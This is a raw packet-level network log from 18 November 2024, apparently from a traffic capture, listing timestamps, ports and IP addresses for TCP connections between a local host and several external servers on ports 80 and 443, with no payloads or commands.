Nov 18, 2024 13:29:45.811619997 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811649084 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.811649084 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.811721087 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.811872005 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811883926 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811891079 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811944008 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.812027931 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.812040091 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.812052965 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.812088013 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.812089920 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.812089920 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.812133074 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.812143087 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.812216043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.812216043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.812268019 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.812329054 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.812340975 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.812355995 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.812582970 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.813693047 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.813703060 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.813802958 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.813864946 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.813922882 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.813935995 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.813980103 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.813980103 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.814016104 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.814028978 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.814040899 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.814055920 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.814090014 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.814090014 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846044064 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846101046 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846116066 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846133947 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846163034 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846184969 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846199036 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846281052 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846313953 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846326113 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846337080 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846350908 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846363068 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846364021 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846376896 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846451044 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846479893 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846520901 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846534014 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846545935 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846546888 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846560955 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846587896 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846613884 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846739054 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846751928 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846764088 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846776009 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846788883 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846793890 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846801043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846806049 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.846834898 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.846954107 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.847987890 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848033905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848046064 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848059893 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.848139048 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848151922 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848166943 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.848294020 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.848303080 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848315954 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848328114 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848340034 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848351955 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.848392963 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.848392963 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.848423958 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848437071 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848448992 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848582983 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848594904 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848604918 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.848612070 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.848644972 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.848644972 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.852188110 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.852200031 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.852211952 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.852284908 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.852284908 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.886491060 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.886502028 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.886620998 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.886749029 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.886845112 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.886857986 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.886862040 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.886885881 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.886907101 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.886918068 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.886933088 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.886949062 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.887010098 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.897691011 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.897715092 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.897727013 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.897788048 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.897788048 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.897815943 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.897829056 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.897933960 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.925429106 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.925441027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.925452948 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.925522089 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.925534964 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.925539017 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.925539017 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.925548077 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.925576925 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.925664902 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928440094 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928462029 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928473949 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928538084 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928538084 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928566933 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928580046 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928606033 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928672075 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928684950 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928704023 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928740025 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928740025 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928783894 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928796053 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928818941 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928833008 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928833961 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928849936 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928858995 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928910017 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928910017 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.928920031 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.928949118 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929009914 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.929044962 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929058075 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929104090 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929116011 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929143906 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.929193020 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929204941 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929215908 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929220915 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.929231882 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929245949 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.929260015 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.929297924 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.929457903 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929470062 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929481983 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929495096 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929508924 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929521084 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.929521084 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.929547071 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.930048943 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.931236029 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.931266069 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.931277990 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.931304932 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.931340933 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.931353092 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.931368113 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.931370974 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.931391001 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.931432009 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.931458950 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.931459904 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.931472063 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.931485891 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.931519985 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.931520939 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.963398933 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963419914 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963430882 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963496923 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963510036 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963512897 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.963512897 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.963526011 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963550091 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.963593960 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963606119 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963633060 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.963646889 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963654995 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.963673115 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963805914 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963819027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963833094 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.963838100 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963850975 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963862896 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.963891983 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.963901997 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.963995934 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.964008093 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.964020014 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.964025021 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.964034081 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.964054108 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.964080095 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.964081049 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.964133978 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965285063 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965389967 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965400934 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965421915 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965424061 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965440035 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965451956 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965464115 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965466022 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965475082 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965490103 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965512037 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965523958 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965538979 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965565920 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965567112 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965567112 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965692997 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965719938 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965753078 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965785980 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965836048 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965854883 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965866089 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965879917 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965890884 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965907097 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965945959 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.965960026 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.965971947 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.966458082 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.969264030 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.969449997 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.969556093 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.969619989 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.969815016 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.969871998 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.969897985 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.969933033 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:46.398634911 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:46.399143934 CET	49835	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:46.403525114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:46.403995037 CET	80	49835	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:46.404068947 CET	49835	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:46.404226065 CET	49835	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:46.408996105 CET	80	49835	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:47.828099012 CET	80	49835	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:47.828599930 CET	49835	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:49.643248081 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:49.643302917 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:49.643368959 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:49.643804073 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:49.643831015 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:50.225668907 CET	443	49797	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:50.225860119 CET	443	49797	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:50.225915909 CET	49797	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:50.230603933 CET	443	49798	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:50.230707884 CET	443	49798	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:50.230746984 CET	49798	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:50.540513992 CET	443	49799	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:50.540606022 CET	443	49799	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:50.540702105 CET	49799	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:50.780396938 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:50.780492067 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:50.783018112 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:50.783030987 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:50.783281088 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:50.784569979 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:50.831331015 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:50.932277918 CET	49835	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:50.934338093 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:51.163805962 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:51.163840055 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:51.163857937 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:51.163892984 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:51.163924932 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:51.163938999 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:51.163969994 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:51.282655001 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:51.282733917 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:51.282735109 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:51.282763004 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:51.282780886 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:51.283021927 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:51.283035994 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:51.283044100 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:51.283229113 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:51.283262014 CET	443	49836	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:51.283452034 CET	49836	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:53.214206934 CET	443	49817	23.198.7.174	192.168.2.8
Nov 18, 2024 13:29:53.214308977 CET	443	49817	23.198.7.174	192.168.2.8
Nov 18, 2024 13:29:53.214770079 CET	49817	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:53.222465038 CET	443	49816	23.198.7.174	192.168.2.8
Nov 18, 2024 13:29:53.222553968 CET	443	49816	23.198.7.174	192.168.2.8
Nov 18, 2024 13:29:53.222718954 CET	49816	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:53.446239948 CET	443	49820	23.198.7.185	192.168.2.8
Nov 18, 2024 13:29:53.446325064 CET	443	49820	23.198.7.185	192.168.2.8
Nov 18, 2024 13:29:53.446393013 CET	49820	443	192.168.2.8	23.198.7.185
Nov 18, 2024 13:30:04.686661959 CET	49837	80	192.168.2.8	185.215.113.43
Nov 18, 2024 13:30:04.692375898 CET	80	49837	185.215.113.43	192.168.2.8
Nov 18, 2024 13:30:04.692445040 CET	49837	80	192.168.2.8	185.215.113.43
Nov 18, 2024 13:30:04.692610979 CET	49837	80	192.168.2.8	185.215.113.43
Nov 18, 2024 13:30:04.697413921 CET	80	49837	185.215.113.43	192.168.2.8
Nov 18, 2024 13:30:05.606031895 CET	80	49837	185.215.113.43	192.168.2.8
Nov 18, 2024 13:30:05.606203079 CET	49837	80	192.168.2.8	185.215.113.43
Nov 18, 2024 13:30:07.110261917 CET	49837	80	192.168.2.8	185.215.113.43
Nov 18, 2024 13:30:07.110605001 CET	49838	80	192.168.2.8	185.215.113.43
Nov 18, 2024 13:30:07.116410971 CET	80	49837	185.215.113.43	192.168.2.8
Nov 18, 2024 13:30:07.116451979 CET	80	49838	185.215.113.43	192.168.2.8
Nov 18, 2024 13:30:07.116486073 CET	49837	80	192.168.2.8	185.215.113.43
Nov 18, 2024 13:30:07.116543055 CET	49838	80	192.168.2.8	185.215.113.43
Nov 18, 2024 13:30:07.117331028 CET	49838	80	192.168.2.8	185.215.113.43
Nov 18, 2024 13:30:07.122946978 CET	80	49838	185.215.113.43	192.168.2.8
Nov 18, 2024 13:30:08.070780993 CET	80	49838	185.215.113.43	192.168.2.8
